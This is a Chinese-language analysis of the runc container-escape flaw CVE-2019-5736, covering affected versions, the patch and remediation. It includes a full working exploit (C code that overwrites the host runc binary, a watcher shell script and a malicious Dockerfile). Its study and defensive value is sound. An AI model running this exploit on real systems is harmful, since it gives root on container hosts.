内容简介:CVE-2019-5736runc是一个根据OCI(Open Container Initiative)标准创建并运行容器的CLI tool,目前Docker、Containerd和CRI-O等容器都运行在runc之上。
漏洞编号
CVE-2019-5736
漏洞简介
runc是一个根据OCI(Open Container Initiative)标准创建并运行容器的CLI tool,目前 Docker 、Containerd和CRI-O等容器都运行在runc之上。
该漏洞允许恶意容器(以最少的用户交互)覆盖主机上的runc二进制文件,从而获得root权限在主机上执行代码。
漏洞可能影响通过受影响版本Docker部署的应用、虚拟主机、云服务器。K8s集群,含有受影响runc版本的 Linux 发行版等。漏洞影响
- Ubuntu:runc 1.0.0~rc4+dfsg1-6ubuntu0.18.10.1之前版本
- Debian:runc 0.1.1+dfsg1-2 之前版本
- RedHat Enterprise Linux: docker 1.13.1-91.git07f3374.el7之前版本
- Amazon Linux:docker 18.06.1ce-7.25.amzn1.x86_64之前版本
- CoreOS:2051.0.0之前版本
- Kops Debian 所有版本(正在修复)
- Docker:18.09.2之前版本
利用条件
- 使用攻击者控制的镜像创建新容器
- 攻击者具有某容器的写入权限,通过docker exec进入容器中
环境搭建
- CentOS
- gcc make 等 C语言 编译环境
- Docker 18.09.0
补丁分析
可以看出补丁中增加了克隆二进制文件的相关处理,并且在 nsexec()
函数中增加了判断是否是克隆文件的逻辑,如果不是克隆文件则抛出错误并退出。
漏洞分析
Docker 提供 exec
命令方便用户在宿主机与容器进行交互。如通过 docker run exec -it < CONTAINER ID> /bin/bash
,可以进入容器在容器中执行命令,此命令实际上执行了容器中的 /bin/bash
文件。我们可以在容器内覆盖目标文件为 #!/proc/self/exe
,如下图所示:
又知Docker的很多操作都是通过runc去运行的,因此可以通过 docker exec
命令执行到被覆盖的目标文件,欺骗runc执行它自己。因此在容器外运行 docker run exec -it < CONTAINER ID> /bin/bash
会欺骗runc运行 /proc/self/exe
(runc)如下图:
此时 /bin/bash
已经被替换,并且成功欺骗runc执行runc。但runc进程不会一直驻留,因此编写一个 Shell 代码测试。
while true; do for f in $(ps -ef | awk '{print $2}'); do cmdline=$(cat /proc/${f}/cmdline) if [[ ${cmdline} == *runc* ]]; then echo !!!!!!!!found runc in proc !!!!!!!!!!!!! fi done done
在运行以上代码时通过 docker exec
执行容器中的 /bin/bash
,看到如下输出即说明欺骗成功:
此时由于runc在使用中,无法直接覆盖runc,因此需要使用C语言编写PoC。通过 O_PATH
标志,忽略权限打开runc所在 /proc/${pid}/exe
的二进制文件,获取其文件标识符 fd
。然后在从文件标识符中( /proc/self/fd/${fd}
)以 O_WRONLY
(只写)标志重新打开文件,然后在一个循环中重复尝试将Payload写入文件标识符中,写入成功后在runc退出的时候会覆盖宿主机上的runc文件。再次使用runc(执行 docker exec
等)即可执行恶意代码。
利用效果如下,在容器中执行Shell覆盖 /bin/bash
文件并监控进程:
在容器外执行容器内的 /bin/bash
后,容器内发现runc进程马上执行恶意代码写入Payload:
查看效果:
PoC
- 拥有
docker exec
权限,可构造PoC如下:
payload.c
#include <stdio.h> #include <unistd.h> int main (int argc, char **argv) { execl("/usr/bin/touch", "touch", "/hacked_by_Tunan", NULL); return 0; }
poc.c
#include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdlib.h> #include <stdio.h> #include <unistd.h> #define PAYLOAD_MAX_SIZE 1048576 #define O_PATH 010000000 #define SELF_FD_FMT "/proc/self/fd/%d" int main(int argc, char **argv) { int fd, ret; char *payload, dest[512]; if (argc < 2) { printf("usage: %s FILE\n", argv[0]); return 1; } payload = malloc(PAYLOAD_MAX_SIZE); if (payload == NULL) { puts("Could not allocate memory for payload."); return 2; } FILE *f = fopen("./payload", "r"); if (f == NULL) { puts("Could not read payload file.\n"); return 3; } int payload_sz = fread(payload, 1, PAYLOAD_MAX_SIZE, f); for (;;) { fd = open(argv[1], O_PATH); // O_PATH打开文件不需要对文件有权限 if (fd >= 0) { printf("Successfuly opened %s at fd %d\n", argv[1], fd); snprintf(dest, 500, SELF_FD_FMT, fd);// 格式化字符串,将文件标识符写入dest中 puts(dest);// 写入缓冲区 int i; for (i = 0; i < 9999999; i++) { fd = open(dest, O_WRONLY | O_TRUNC); // 以只写的形式再次打开缓冲区中的内容,拿到fd(文件标识符) if (fd >= 0) { printf("Successfully openned runc binary as WRONLY\n"); ret = write(fd, payload, payload_sz); // 写入文件标识符 if (ret > 0) printf("Payload deployed\n"); break; } } break; } } return 0; }
poc.sh
#!/bin/bash function poc() { echo '#!/proc/self/exe' > /bin/bash chmod +x /bin/bash while true; do for pid in $(ps -ef | awk '{print $2}'); do cmdline=$(cat /proc/${pid}/cmdline) if [[ ${cmdline} == *runc* ]]; then echo !!!!!!!!runc was found !!!!!!!!!!!!! echo pid:${pid} echo starting exploit ./poc /proc/${pid}/exe echo finish! run docker exec -it <CONTAINER ID> /bin/bash to see the effect fi done done } exec 2>/dev/null poc
- 如果没有
docker exec
权限,可构造恶意image,增加Dockerfile:
FROM ubuntu RUN apt-get update RUN apt-get install -y build-essential ADD . /poc WORKDIR /poc RUN make CMD ["./poc.sh"]
修复建议
- Docker:更新Docker到18.09.2及以上版本
- Ubuntu:更新runc到runc 1.0.0~rc4+dfsg1-6ubuntu0.18.10.1及以上版本
- Debian:更新runc到runc 0.1.1+dfsg1-2及以上版本
- CoreOS:更新到2051.0.0及以上版本
参考
[1] https://www.anquanke.com/post/id/170762
[2] https://github.com/opencontainers/runc/commit/0a8e4117e7f715d5fbeef398405813ce8e88558b#diff-c76fda6ad413becbb91b3db6f99f0f31
[3] https://github.com/feexd/pocs/blob/master/CVE-2019-5736/exploit.c以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- VirtualBox VMSVGA多个虚拟机逃逸漏洞分析
- 利用Chromium漏洞夺取CTF胜利:VitualBox虚拟机逃逸漏洞分析(CVE-2019-2446)
- 容器逃逸成真:从 CTF 解题到 CVE-2019-5736 漏洞挖掘分析
- VirtualBox虚拟机最新逃逸漏洞E1000 0 day详细分析(上)
- VirtualBox虚拟机最新逃逸漏洞E1000 0day详细分析(下)
- 打破Docker:runC容器逃逸漏洞的深入分析及多种利用方法(CVE-2019-5736)
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
HTML 压缩/解压工具
在线压缩/解压 HTML 代码
JSON 在线解析
在线 JSON 格式化工具